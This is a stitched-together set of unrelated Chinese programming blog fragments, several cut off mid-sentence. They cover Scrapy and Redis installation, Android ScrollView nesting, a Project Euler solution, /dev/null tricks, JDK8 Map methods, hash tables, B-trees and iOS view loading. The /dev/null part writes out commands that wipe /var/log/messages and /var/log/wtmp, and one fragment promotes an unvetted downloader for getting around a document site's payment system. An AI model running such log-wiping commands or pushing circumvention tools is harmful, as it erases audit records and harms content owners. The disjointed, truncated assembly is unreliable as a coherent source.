1、如果没安装10-12步骤,会出现pyOpenSSL警告和未安装service_identity错误,这两个都人先安装编译器,VC2008和VC2010都可以。如果不是VC2008则要建立一个环境变量:VS90COMNTOOLS,变量值和VS100COMNTOOLS一样就可以。
2、如果出现“Unable to find vcvarsall.bat”,则是没有安装VC2008出现的。
Part I. 直接启动 下载 官网下载
安装 tar zxvf redis-2.8.9.tar.gz cd redis-2.8.9 #直接make 编译 make #可使用root用户执行`make install`,将可执行文件拷贝到/usr/local/bin目录下。这样就可以直接敲名字运行程序了。 make install 启动 #加上`&`号使redis以后台程序方式运行 ./redis-server & 检测 #检测后台进程是否存在 ps -ef |grep redis #检测6379端口是否在监听 netstat -lntp | grep 6379 #使用`redis-cli`客户端检测连接是否正常 ./redis-cli 127.0.0.1:6379> keys * (empty list or set) 127.0.0.1:6379> set key "hello world" OK 127.0.0.1:6379> get key "hello world" 停止 #使用客户端 redis-cli shutdown #因为Redis可以妥善处理SIGTERM信号,所以直接kill -9也是可以的 kill -9 PID Part II. 通过指定配置文件启动 配置文件 可为redis服务启动指定配置文件,配置文件redis.conf在Redis根目录下。
#修改daemonize为yes,即默认以后台程序方式运行(还记得前面手动使用&号强制后台运行吗)。 daemonize no #可修改默认监听端口 port 6379 #修改生成默认日志文件位置 logfile "
是不是有些时候在道客巴巴看到自己想要的文档,想下载回来慢慢看却没有积分好难受呢?
工具/原料 道客巴巴下载器(海纳百川)
方法/步骤 1 下载软件:
http://pan.baidu.com/s/1zLmXx
把这个地址选中复制,粘贴在浏览器地址栏里。
(在我自己的百度云盘里也有该软件)
2 复制想要的文档的网页地址,比如:http://www.doc88.com/p-8099994821044.html。
粘贴在软件的地址栏里,点右边的下载。
调整页面显示方式为幻灯片模式
END 方法/步骤2 然后再点击下载,就可以看到文档顺利的下载下来了。
那么下载下来的文档是放在那里了呢?
点右上角的菜单>设置,复制目录地址。
3 点击电脑左下角的开始菜单->运行。
把刚才的目录地址粘贴进去,确定回车就可以看到啦。
android之ScrollView里嵌套ListView hi,大家好,研究完ScrollView嵌套ScrollView之后,本人突然又想研究ScrollView里嵌套ListView了。 如果还不知道ScrollView嵌套ScrollView是怎么实现的可以参考http://www.eoeandroid.com/thread-240709-1-1.html 在上篇文章当中其实我没有怎么把原理讲清楚,只是上了原代码,而其实ScrollView里套ScrollView和ScrollView里套ListView是同一个道理的。 按常理,ScrollView套ListView会存在两个问题: 1.里面的listView高度无法算出来,通常只能显示listview的其中一行 2.listview不能滚动 在解决问题一的时候,我在网上找了一大堆资料,怎么怎么让listview显示完整,终于被我找到一个帖子,能解决这个问题 http://blog.csdn.net/hitlion2008/article/details/6737459 (同时我不小心搜到了我的"ScrollView嵌套ScrollView"贴子满天飞...在这里我拜托大家,转贴注明出处啊亲。。。。。)。 按照这个贴子我试了一下,虽然listview的高度出来了,但是存在两个问题: a.还是只支持ScrollView滚动,listView不会滚动,因为listView的高度已经达到最大,它不需要滚动。 b.listview的优点就是能够复用listItem,如果把listView撑到最大,等于是没有复用listItem,这跟没用listView一样,省不了ui资源,那我还不如直接用linearlayout呢 要怎么才能支持外面的ScrollView和里面的ListView都能滚动呢? 想过很多办法,最终我还是把ScrollView套ScrollView的实现原理搬过来试试看,结果成功了。。。。 其实实现原理很简单ScrollView有一个方法requestDisallowInterceptTouchEvent(boolean); 这个方法是设置是否交出ontouch权限的,如果让外层的scrollview.requestDisallowInterceptTouchEvent(false);那么外层的onTouch权限会失去,这样里面的listview就能 拿到ontouch权限了,listView也就能滚了。 问题是:权限只有一个,要支持两个view都能滚动。这个就有点难实现了吧.. 其实这个一点也不难,当手指触到listview的时候,让外面的scrollview交出权限,当手指松开后,外面的scrollview重新获得权限。这样ok了。 且看代码实现: 重写一个InnerListView extends ListView InnerListView.java @Override public boolean onInterceptTouchEvent(MotionEvent ev) { switch (ev.getAction()) { case MotionEvent.ACTION_DOWN: setParentScrollAble(false);//当手指触到listview的时候,让父ScrollView交出ontouch权限,也就是让父scrollview 停住不能滚动 LogManager.d("onInterceptTouchEvent down"); case MotionEvent.ACTION_MOVE: LogManager.d("onInterceptTouchEvent move"); break; case MotionEvent.ACTION_UP: LogManager.d("onInterceptTouchEvent up"); case MotionEvent.ACTION_CANCEL: LogManager.d("onInterceptTouchEvent cancel"); setParentScrollAble(true);//当手指松开时,让父ScrollView重新拿到onTouch权限 break; default: break; } return super.onInterceptTouchEvent(ev); } /** * 是否把滚动事件交给父scrollview * * @param flag */ private void setParentScrollAble(boolean flag) { parentScrollView.
Problem 4: Largest palindrome product
A palindromic number reads the same both ways. The largest palindrome made from the product of two 2-digit numbers is 9009 = 91 × 99.
Find the largest palindrome made from the product of two 3-digit numbers.
寻找有两个三位数相乘的最大回文数
我的python代码如下:
#method1: def reverse(s): return s[::-1] maxPalindromic = 0 for i in range(100,999): for j in range(i,999): s = str(i*j) if s == reverse(s): if int(s)>maxPalindromic: maxPalindromic = int(s) print maxPalindromic #method2: def reverse(s): return s[::-1] def canBeDivide(num): for i in range(100,1000): if num%i==0 and num/i<1000: return True return False def findMaxPalindromic(): for x in range(9,0,-1): for y in range(9,-1,-1): for z in range(9,-1,-1): num = 100001*x+10010*y+1100*z if canBeDivide(num): return num print findMaxPalindromic() 方法一,比较直观,容易理解; 方法二,效率高。
把/dev/null看作"黑洞". 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到. 然而, /dev/null对命令行和脚本都非常的有用.
禁止标准输出.
cat $filename >/dev/null # 文件内容丢失,而不会输出到标准输出. 禁止标准错误
rm $badname 2>/dev/null # 这样错误信息[标准错误]就被丢到太平洋去了. 禁止标准输出和标准错误的输出.
cat $filename 2>/dev/null >/dev/null # 如果"$filename"不存在,将不会有任何错误信息提示.# 如果"$filename"存在, 文件的内容不会打印到标准输出.# 因此Therefore, 上面的代码根本不会输出任何信息.# 当只想测试命令的退出码而不想有任何输出时非常有用。#-----------测试命令的退出 begin ----------------------## ls dddd 2>/dev/null 8# echo $? //输出命令退出代码:0为命令正常执行,1-255为有出错。
#-----------测试命令的退出 end-----------# # cat $filename &>/dev/null
# 也可以, 由 Baris Cicek 指出.
清除日志文件内容
cat /dev/null > /var/log/messages # : > /var/log/messages 有同样的效果, 但不会产生新的进程.(因为:是内建的) cat /dev/null > /var/log/wtmp
本文由 ImportNew - kingviker 翻译自 javacodegeeks。欢迎加入Java小组。转载请参见文章末尾的要求。 JDK8中那些新增的便利的Map默认值方法 转载请注明出处:http://blog.csdn.net/kingviker/article/details/26221227
在JDK8中Map接口提供了一些新的便利的方法。因为在本文中我所提到的所有Map方法都是以默认值方法的方式实现的,所以现有的Map接口的实现可以直接拥有这些在默认值方法中定义的默认行为,而不需要新增一行代码。本文涵盖的JDK8中引进的Map方法有:getOrDefault(Object,V),putIfAbsent(K,V),remove(Object,Object),replace(K,V),and replace(K,V,V)。
Map范例 我将使用如下代码所示的Map声明和初始化来贯穿整篇博文中的示例。字段stateAndCapitals是类级别的静态字段。为了阅读清晰和更简单的示范一些JDK8中新的Map默认值方法,我有意的让stateAndCapitals字段只包含了美国50个洲的一个小子集。
private final static Map statesAndCapitals; static { statesAndCapitals = new HashMap<>(); statesAndCapitals.put("Alaska", "Anchorage"); statesAndCapitals.put("California", "Sacramento"); statesAndCapitals.put("Colorado", "Denver"); statesAndCapitals.put("Florida", "Tallahassee"); statesAndCapitals.put("Nevada", "Las Vegas"); statesAndCapitals.put("New Mexico", "Sante Fe"); statesAndCapitals.put("Utah", "Salt Lake City"); statesAndCapitals.put("Wyoming", "Cheyenne"); } Map.getOrDefault(Object, V) Map的新方法getOrDefault(Object,V)允许调用者在代码语句中规定获得在map中符合提供的键的值,否则在没有找到提供的键的匹配项的时候返回一个“默认值”。
下一段代码列举对比了如何在JDK8之前检查一个map中匹配提供键的值是否找到,没找到匹配项就使用一个默认值是如何实现的,并且现在在JDK8中是如何实现的。
/* * 示范Map.getOrDefault方法并和JDK8之前的实现方法做对比。JDK8 * 中新增的Map.getOrDefault方法相比于传统的实现方法,所用的代码行数更少 * 并且允许用一个final类型的变量来接收返回值。 */ // JDK8之前的实现方法 String capitalGeorgia = statesAndCapitals.get("Georgia"); if (capitalGeorgia == null) { capitalGeorgia = "
查找(二)
散列表 散列表是普通数组概念的推广。由于对普通数组可以直接寻址,使得能在O(1)时间内访问数组中的任意位置。在散列表中,不是直接把关键字作为数组的下标,而是根据关键字计算出相应的下标。
使用散列的查找算法分为两步。第一步是用散列函数将被查找的键转化为数组的一个索引。
我们需要面对两个或多个键都会散列到相同的索引值的情况。因此,第二步就是一个处理碰撞冲突的过程,由两种经典解决碰撞的方法:拉链法和线性探测法。
散列表是算法在时间和空间上作出权衡的经典例子。
如果没有内存限制,我们可以直接将键作为(可能是一个超大的)数组的索引,那么所有查找操作只需要访问内存一次即可完成。但这种情况不会经常出现,因此当键很多时需要的内存太大。
另一方面,如果没有时间限制,我们可以使用无序数组并进行顺序查找,这样就只需要很少的内存。而散列表则使用了适度的空间和时间并在这两个极端之间找到了一种平衡。
●散列函数
我们面对的第一个问题就是散列函数的计算,这个过程会将键转化为数组的索引。我们要找的散列函数应该易于计算并且能够均匀分布所有的键。
散列函数和键的类型有关,对于每种类型的键我们都需要一个与之对应的散列函数。
正整数
将整数散列最常用的方法就是除留余数法。我们选择大小为素数M的数组,对于任意正整数k,计算k除以M的余数。(如果M不是素数,我们可能无法利用键中包含的所有信息,这可能导致我们无法均匀地散列值。)
浮点数
将键表示为二进制数,然后再使用除留余数法。(让浮点数的各个位都起作用)(Java就是这么做的)
字符串
除留余数法也可以处理较长的键,例如字符串,我们只需将它们当做大整数即可。即相当于将字符串当做一个N位的R进制值,将它除以M并取余。
·····软缓存
如果散列值的计算很耗时,那么我们或许可以将每个键的散列值缓存起来,即在每个键中使用一个hash变量来保存它的hashCode()返回值。
●基于拉链法的散列表
一个散列函数能够将键转化为数组索引。散列算法的第二步是碰撞处理,也就是处理两个或多个键的散列值相同的情况。
拉链法:将大小为M的数组中的每个元素指向一条链表,链表中的每个结点都存储了散列值为该元素的索引的键值对。
查找分两步:首先根据散列值找到对应的链表,然后沿着链表顺序查找相应的键。
拉链法在实际情况中很有用,因为每条链表确实都大约含有N/M个键值对。
基于拉链法的散列表的实现简单。在键的顺序并不重要的应用中,它可能是最快的(也是使用最广泛的)符号表实现。
●基于线性探测法的散列表
实现散列表的另一种方式就是用大小为M的数组保存N个键值对,其中M>N。我们需要依靠数组中的空位解决碰撞冲突。基于这种策略的所有方法被统称为开放地址散列表。
开放地址散列表中最简单的方法叫做线性探测法:当碰撞发生时,我们直接检查散列表中的下一个位置(将索引值加1),如果不同则继续查找,直到找到该键或遇到一个空元素。
(开放地址类的散列表的核心思想是:与其将内存用作链表,不如将它们作为在散列表的空元素。这些空元素可以作为查找结束的标志。)
特点:散列最主要的目的在于均匀地将键散布开来,因此在计算散列后键的顺序信息就丢失了,如果你需要快速找到最大或最小的键,或是查找某个范围内的键,散列表都不是合适的选择。
【应用举例】
海量处理
给定a、b两个文件,各存放50亿个url,每个url各占64字节,内存限制是4G,让你找出a、b文件共同的url?
答:
可以估计每个文件安的大小为5G×64=320G,远远大于内存限制的4G。所以不可能将其完全加载到内存中处理。考虑采取分而治之的方法。
分而治之/hash映射:
遍历文件a,对每个url求取,然后根据所取得的值将url分别存储到1000个小文件(记为,这里漏写个了a1)中。这样每个小文件的大约为300M。遍历文件b,采取和a相同的方式将url分别存储到1000小文件中(记为)。这样处理后,所有可能相同的url都在对应的小文件()中,不对应的小文件不可能有相同的url。然后我们只要求出1000对小文件中相同的url即可。
hash_set统计:
求每对小文件中相同的url时,可以把其中一个小文件的url存储到hash_set中。然后遍历另一个小文件的每个url,看其是否在刚才构建的hash_set中,如果是,那么就是共同的url,存到文件里面就可以了。
(此题来源于v_July_v的博客)
B树(多向平衡查找树) B-树是对2-3树数据结构的扩展。它支持对保存在磁盘或者网络上的符号表进行外部查找,这些文件可能比我们以前考虑的输入要大的多(以前的输入能够保存在内存中)。
(B树和B+树是实现数据库的数据结构,一般程序员用不到它。)
和2-3树一样,我们限制了每个结点中能够含有的“键-链接”对的上下数量界限:一个M阶的B-树,每个结点最多含有M-1对键-链接(假设M足够小,使得每个M向结点都能够存放在一个页中),最少含有M/2对键-链接,但也不能少于2对。
(B树是用于存储海量数据的,一般其一个结点就占用磁盘一个块的大小。)
【注】以下B树部分参考自July的博客,尤其是插入及删除示图,为了省力直接Copy自July。
B树中的结点存放的是键-值对。图中红色方块即为键对应值的指针。
B树中的每个结点根据实际情况可以包含大量的关键字信息和分支(当然是不能超过磁盘块的大小,根据磁盘驱动(diskdrives)的不同,一般块的大小在1k~4k左右);这样树的深度降低了,这就意味着查找一个元素只要很少结点从外存磁盘中读入内存,很快访问到要查找的数据。
查找
假如每个盘块可以正好存放一个B树的结点(正好存放2个文件名)。那么一个BTNODE结点就代表一个盘块,而子树指针就是存放另外一个盘块的地址。
下面,咱们来模拟下查找文件29的过程:
1. 根据根结点指针找到文件目录的根磁盘块1,将其中的信息导入内存。【磁盘IO操作1次】 2. 此时内存中有两个文件名17、35和三个存储其他磁盘页面地址的数据。根据算法我们发现:17<29<35,因此我们找到指针p2。
3. 根据p2指针,我们定位到磁盘块3,并将其中的信息导入内存。【磁盘IO操作 2次】 4. 此时内存中有两个文件名26,30和三个存储其他磁盘页面地址的数据。根据算法我们发现:26<29<30,因此我们找到指针p2。
5. 根据p2指针,我们定位到磁盘块8,并将其中的信息导入内存。【磁盘IO操作 3次】 6. 此时内存中有两个文件名28,29。根据算法我们查找到文件名29,并定位了该文件内存的磁盘地址。分析上面的过程,发现需要3 3次磁盘IO操作和次磁盘IO操作和3次内存查找 次内存查找操作。关于内存中的文件名查找,由于是一个有序表结构,可以利用折半查找提高效率。至于IO操作是影响整个B树查找效率的决定因素。
插入
想想2-3树的插入。2-3树结点的最大容量是2个元素,故当插入操作造成超出容量之后,就得分裂。同样m-阶B树规定的结点的最大容量是m-1个元素,故当插入操作造成超出容量之后也得分裂,其分裂成两个结点每个结点分m/2个元素。(副作用是在其父结点中要插入一个中间元素,用于分隔这两结点。和2-3树一样,再向父结点插入一个元素也可能会造成父结点的分裂,逐级向上操作,直到不再造成分裂为止。)
查找(一) 我们使用符号表这个词来描述一张抽象的表格,我们会将信息(值)存储在其中,然后按照指定的键来搜索并获取这些信息。键和值的具体意义取决于不同的应用。
符号表中可能会保存很多键和很多信息,因此实现一张高效的符号表也是一项很有挑战性的任务。
我们会用三种经典的数据类型来实现高效的符号表:二叉查找数、红黑树、散列表。
二分查找 我们使用有序数组存储键,经典的二分查找能够根据数组的索引大大减少每次查找所需的比较次数。
在查找时,我们先将被查找的键和子数组的中间键比较。如果被查找的键小于中间键,我们就在左子数组中继续查找,如果大于我们就在右子数组中继续查找,否则中间键就是我们要找的键。
一般情况下二分查找都比顺序查找快的多,它也是众多实际应用程序的最佳选择。对于一个静态表(不允许插入)来说,将其在初始化时就排序是值得的。
当然,二分查找也不适合很多应用。现代应用需要同时能够支持高效的查找和插入两种操作的符号表实现。也就是说,我们需要在构造庞大的符号表的同时能够任意插入(也许还有删除)键值对,同时也要能够完成查找操作。
要支持高效的插入操作,我们似乎需要一种链式结构。当单链接的链表是无法使用二分查找的,因为二分查找的高效来自于能够快速通过索引取得任何子数组的中间元素。为了将二分查找的效率和链表的灵活性结合起来,我们需要更加复杂的数据结构。
能够同时拥有两者的就是二叉查找树。
二叉查找树 一颗二叉查找树(BST)是一颗二叉树,其中每个节点都含有一个可比较的键(以及相关联的值)且每个结点的键都大于其左子树中的任意结点的键而小于右子树的任意结点的键。
一颗二叉查找树代表了一组键(及其相应的值)的集合,而同一个集合可以用多颗不同的二叉查找树表示。
如果我们将一颗二叉查找树的所有键投影到一条直线上,保证一个结点的左子树中的键出现在它的右边,右子树中的键出现在它的右边,那么我们一定可以得到一条有序的键列。
查找
在二叉查找树中查找一个键的递归算法:
如果树是空的,则查找未命中。如果被查找的键和根结点的键相等,查找命中。否则我们就在适当的子树中继续查找。如果被查找的键较小就选择左子树,较大就选择右子树。
在二叉查找树中,随着我们不断向下查找,当前结点所表示的子树的大小也在减小(理想情况下是减半)
插入
查找代码几乎和二分查找的一样简单,这种简洁性是二叉查找树的重要特性之一。而二叉查找树的另一个更重要的特性就是插入的实现难度和查找差不多。
当查找一个不存在于树中的结点并结束于一条空链接时,我们需要做的就是将链接指向一个含有被查找的键的新结点。如果被查找的键小于根结点的键,我们会继续在左子树中插入该键,否则在右子树中插入该键。
分析
使用二叉查找树的算法的运行时间取决于树的形状,而树的形状又取决于键被插入的先后顺序。
在最好的情况下,一颗含有N个结点的树是完全平衡的,每条空链接和根结点的距离都为~lgN。在最坏的情况下,搜索路径上可能有N个结点。但在一般情况下树的形状和最好情况更接近。
我们假设键的插入顺序是随机的。对这个模型的分析而言,二叉查找树和快速排序几乎就是“双胞胎”。树的根结点就是快速排序中的第一个切分元素(左侧的键都比它小,右侧的键都比它大),而这对于所有的子树同样适用,这和快速排序中对于子数组的递归排序完全对应。
【在由N个随机键构造的二叉查找树中,查找命中平均所需的比较次数为~2lgN。 N越大这个公式越准确】
平衡查找树 在一颗含有N个结点的树中,我们希望树高为~lgN,这样我们就能保证所有查找都能在~lgN此比较内结束,就和二分查找一样。不幸的是,在动态插入中保证树的完美平衡的代价太高了。我们放松对完美平衡的要求,使符号表API中所有操作均能够在对数时间内完成。
2-3查找树 为了保证查找树的平衡性,我们需要一些灵活性,因此在这里我们允许树中的一个结点保存多个键。
2-结点:含有一个键(及值)和两条链接,左链接指向的2-3树中的键都小于该结点,右链接指向的2-3树中的键都大于该结点。
3-结点:含有两个键(及值)和三条链接,左链接指向的2-3树中的键都小于该结点,中链接指向的2-3树中的键都位于该结点的两个键之间,右链接指向的2-3树中的键都大于该结点。
(2-3指的是2叉-3叉的意思)
一颗完美平衡的2-3查找树中的所有空链接到根结点的距离都是相同的。
查找
要判断一个键是否在树中,我们先将它和根结点中的键比较。如果它和其中的任何一个相等,查找命中。否则我们就根据比较的结果找到指向相应区间的链接,并在其指向的子树中递归地继续查找。如果这是个空链接,查找未命中。
插入
要在2-3树中插入一个新结点,我们可以和二叉查找树一样先进行一次未命中的查找,然后把新结点挂在树的底部。但这样的话树无法保持完美平衡性。我们使用2-3树的主要原因就在于它能够在插入之后继续保持平衡。
如果未命中的查找结束于一个2-结点,我们只要把这个2-结点替换为一个3-结点,将要插入的键保存在其中即可。如果未命中的查找结束于一个3-结点,事情就要麻烦一些。
热身:
先考虑最简单的例子:只有一个3-结点的树,向其插入一个新键。
这棵树唯一的结点中已经没有可插入的空间了。我们又不能把新键插在其空结点上(破坏了完美平衡)。为了将新键插入,我们先临时将新键存入该结点中,使之成为一个4-结点。创建一个4-结点很方便,因为很容易将它转换为一颗由3个2-结点组成的2-3树(如图所示),这棵树既是一颗含有3个结点的二叉查找树,同时也是一颗完美平衡的2-3树,其中所有空链接到根结点的距离都相等。
向一个父结点为2-结点的3-结点中插入新键
假设未命中的查找结束于一个3-结点,而它的父结点是一个2-结点。在这种情况下我们需要在维持树的完美平衡的前提下为新键腾出空间。
我们先像刚才一样构造一个临时的4-结点并将其分解,但此时我们不会为中键创建一个新结点,而是将其移动至原来的父结点中。(如图所示)
这次转换也并不影响(完美平衡的)2-3树的主要性质。树仍然是有序的,因为中键被移动到父结点中去了,树仍然是完美平衡的,插入后所有的空链接到根结点的距离仍然相同。
向一个父结点为3-结点的3-结点中插入新键
假设未命中的查找结束于一个3-结点,而它的父结点是一个3-结点。
我们再次和刚才一样构造一个临时的4-结点并分解它,然后将它的中键插入它的父结点中。但父结点也是一个3-结点,因此我们再用这个中键构造一个新的临时4-结点,然后在这个结点上进行相同的变换,即分解这个父结点并将它的中键插入到它的父结点中去。
我们就这样一直向上不断分解临时的4-结点并将中键插入更高的父结点,直至遇到一个2-结点并将它替换为一个不需要继续分解的3-结点,或者是到达3-结点的根。
总结:
先找插入结点,若结点有空(即2-结点),则直接插入。如结点没空(即3-结点),则插入使其临时容纳这个元素,然后分裂此结点,把中间元素移到其父结点中。对父结点亦如此处理。(中键一直往上移,直到找到空位,在此过程中没有空位就先搞个临时的,再分裂。)
★2-3树插入算法的根本在于这些变换都是局部的:除了相关的结点和链接之外不必修改或者检查树的其他部分。每次变换中,变更的链接数量不会超过一个很小的常数。所有局部变换都不会影响整棵树的有序性和平衡性。
{你确定理解了2-3树的插入过程了吗? 如果你理解了,那么你也就基本理解了红黑树的插入}
构造
和标准的二叉查找树由上向下生长不同,2-3树的生长是由下向上的。
优点
2-3树在最坏情况下仍有较好的性能。每个操作中处理每个结点的时间都不会超过一个很小的常数,且这两个操作都只会访问一条路径上的结点,所以任何查找或者插入的成本都肯定不会超过对数级别。
完美平衡的2-3树要平展的多。例如,含有10亿个结点的一颗2-3树的高度仅在19到30之间。我们最多只需要访问30个结点就能在10亿个键中进行任意查找和插入操作。
缺点
我们需要维护两种不同类型的结点,查找和插入操作的实现需要大量的代码,而且它们所产生的额外开销可能会使算法比标准的二叉查找树更慢。
平衡一棵树的初衷是为了消除最坏情况,但我们希望这种保障所需的代码能够越少越好。
红黑二叉查找树 【前言:本文所讨论的红黑树之目的在于使读者能更简单清晰地了解红黑树的构造,使读者能在纸上清晰快速地画出红黑树,而不是为了写出红黑树的实现代码。
若是要在代码级理解红黑树,则势必需要记住其复杂的插入和旋转的各种情况,我认为那只有助于增加大家对红黑树的恐惧,实际面试和工作中几乎不会遇到需要自己动手实现红黑树的情况(很多语言的标准库中就有红黑树的实现)。 若对于红黑树的C代码实现有兴趣的,可移步至July的博客。】
iPhone开发必不可少的要用到这两个方法。**他们都可以用来在视图载入的时候,初始化一些内容**。**但是他们有什么区别呢?** viewDidLoad 此方法只有当view从nib文件初始化的时候才被调用。**viewDidLoad用于初始化,加载时用到的。** loadView 此方法在控制器的view为nil的时候被调用。 此方法用于以编程的方式创建view的时候用到。**loadView是使用代码生成视图的时候,当视图第一次载入的时候调用的方法。用于使用(写)代码来实现控件。用于使用代码生成控件的函数。**如: - ( void ) loadView { UIView view = [ [ UIView alloc] initWithFrame:[ UIScreen mainScreen] .applicationFrame] ; [ view setBackgroundColor:_color] ; self.view = view; [ view release] ; } 你在控制器中实现了loadView方法,那么你可能会在应用运行的某个时候被内存管理控制调用。 *如果设备内存不足的时候, view 控制器会收到didReceiveMemoryWarning的消息。** 默认的实现是检查当前控制器的view是否在使用。如果它的view不在当前正在使用的view hierarchy里面,且你的控制器实现了loadView方法,**那么这个view将被release, loadView方法将被再次调用来创建一个新的view。 ----------------------------------------------------------------------------------------------------------------------**
viewDidLoad ,不论是从xib中加载视图,还是从loadview生成视图,都会被调用。
UIViewController 的内存管理 在 iOS3.0 后,UIViewController 多了一个叫做 viewDidUnLoad 的方法。 先看下 UIViewController 从创建 view 到展示的流程的几个函数 -init -initWithNibName:bundle: 这两个方法都是初始化一个 vc,但请注意 view 不是这时候载入的 -loadView -viewDidLoad 当一个视图准备展现时,vc 首先会判断 view 是否已经创建否则便通过之前指定的 xib 文件来初始化 view,以及绑定其他关系(若没有指定 xib 文件,则默认会搜索和 vc 同名的 xib,比如 myNameViewController 就会搜索 myNameViewController.
昨天升级一个服务,发现没有现成的启动脚本。 就随手写了一个,一运行发现不行。 竟然报错说找不到文件, No such file or directory 【nohup: cannot run command `test.sh': No such file or directory】 怪了,文件明明在那儿,相对路径,绝对路径都试过了,却一直报这个。 test.sh里面调用了run.bin文件,在同一目录下面啊,怎么可能找不到呢? 干脆直接运行run.bin ,这回报错如下: 【bad interpreter:No such file or directory】 还是说找不到文件,仔细想了下难道是权限?,chmod到777,用root执行,还是报错。 排除了权限问题,仔细想想问题出在哪儿了? 哦!这个文件实在我的本上写的然后传到linux主机上的,难道是编码问题? google了一下,果然如此。 分析和解决办法 : 因为操作系统是windows,在windows下编辑的脚本,所以有可能有不可见字符。从你的脚本及报告的错误看来, 很有可能是你的脚本文件是DOS格式的, 即每一行的行尾以\r\n来标识, 其ASCII码分别是0x0D, 0x0A.
可以有很多种办法看这个文件是DOS格式的还是UNIX格式的, 还是MAC格式的 (1). vi filename 然后用命令 :set ff? 可以看到dos或unix的字样. 如果的确是dos格式的, 那么你可以用set ff=unix把它强制为unix格式的, 然后存盘退出. 再运行一遍看.ok了。 希望遇到类似问题的同学能够如此解决。